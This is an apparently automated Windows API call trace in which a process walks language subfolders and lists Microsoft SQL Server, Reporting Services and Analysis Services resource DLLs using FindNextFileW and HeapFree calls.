	[0073.325] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0073.327] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0073.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.328] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0073.329] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa806c3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0073.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.330] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0073.332] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0073.332] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16546d20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16546d20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as80.xsl", cAlternateFileName="")) returned 1
	[0073.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.334] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0073.335] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0073.336] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1
	[0073.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.337] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0073.339] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1
	[0073.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.340] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0073.341] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0073.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.342] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0073.343] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4baa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1
	[0073.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.345] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0073.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.345] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0073.347] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0073.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.348] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0073.349] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61fe8c4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1
	[0073.350] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0
	[0073.350] FindClose (in: hFindFile=0x5e0a30 | out: hFindFile=0x5e0a30) returned 1
	[0073.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.351] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0073.353] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19de457, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19de457, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf19de457, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1
	[0073.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.353] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0073.605] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44563cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44563cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44a2874, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ae8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1
	[0073.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.606] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0073.607] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8088, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1
	[0073.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.608] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0073.609] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0073.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.610] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0073.611] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c20913, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c20913, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20aa98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1
	[0073.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.613] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0073.614] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1
	[0073.614] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd068, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1
	[0073.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.615] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0073.616] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2f2d53e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2f2d53e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0073.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.617] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0073.619] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d4bb8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d4bb8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d71cd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1
	[0073.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0073.620] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0073.622] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1
	[0073.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
